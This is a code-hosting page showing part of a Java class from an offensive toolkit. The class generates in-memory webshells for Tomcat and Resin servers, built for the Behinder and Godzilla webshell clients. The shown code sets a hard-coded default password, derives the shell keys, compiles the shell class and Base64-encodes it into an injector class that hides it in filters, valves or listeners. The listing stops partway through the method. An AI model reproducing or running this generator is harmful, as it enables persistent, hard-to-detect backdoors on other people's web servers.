MCPcopy Create free account
hub / github.com/0x727/DropLabTools / MemroyFactory

Class MemroyFactory

src/main/java/com/droplab/Utils/Memory/MemroyFactory.java:8–78  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

6import java.util.Map;
7
8public class MemroyFactory {
9 private static MemroyFactory memroyFactory = null;
10
11 public static MemroyFactory instance() {
12 if (memroyFactory != null) {
13
14 } else {
15 memroyFactory = new MemroyFactory();
16 }
17 return memroyFactory;
18 }
19
20
21 /**
22 * @param type 中间件类型 Tomcat Resin
23 * @param middleware Filter valve listner 等等
24 * @param password 连接密码
25 * @param shellType Behinder Godzilla
26 * @return
27 */
28 public String getMemoryShell(String type, String middleware, String password, String shellType, String path, boolean template) {
29 try {
30 String ImplStr = String.format("com.droplab.Utils.Memory.%s.%s.%sImplStr", type, middleware, middleware);
31 String addStr = String.format("com.droplab.Utils.Memory.%s.%s.add%s", type, middleware, middleware);
32
33 JavaStringCompiler javaStringCompiler = new JavaStringCompiler();
34
35 /*生成连接密码*/
36 if (password.equals("") || password.isEmpty()) {
37 password = "qax36oNb";
38 }
39 String md5 = CommonUtils.getMD5(password);
40 String behinder = md5.substring(0, 16); //冰蝎密码
41
42 /**生成内存马类
43 *
44 */
45 String implStrName = CommonUtils.RandomStr(6);
46 Object o = Class.forName(ImplStr).newInstance();
47 String implStr = (String) o.getClass().getMethod("get", Object.class, String.class, boolean.class).invoke(o, o, shellType, template);
48 String format = "";
49 if (shellType.equals("Behinder")) {
50 format = String.format(implStr, implStrName, implStrName, behinder);
51 } else if (shellType.equals("Godzilla")) {
52 format = String.format(implStr, implStrName, implStrName, password, CommonUtils.getMD5(password + "2f2e9f40c6d9fa47"));
53 }
54 Map<String, byte[]> compile = javaStringCompiler.compile(implStrName + ".java", format);
55 byte[] bytes = compile.get(implStrName);
56 String s = java.util.Base64.getEncoder().encodeToString(bytes);
57 /**
58 * 生成注入内存马的类
59 */
60 String addStrName = CommonUtils.RandomStr(6);
61 Object o1 = Class.forName(addStr).newInstance();
62 String addStrType = (String) o1.getClass().getMethod("get", Object.class, String.class, boolean.class).invoke(o1, o1, type, template);
63 String format1 = String.format(addStrType, addStrName, addStrName, s);
64 Map<String, byte[]> compile1 = javaStringCompiler.compile(addStrName + ".java", format1);
65 byte[] bytes1 = compile1.get(addStrName);

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected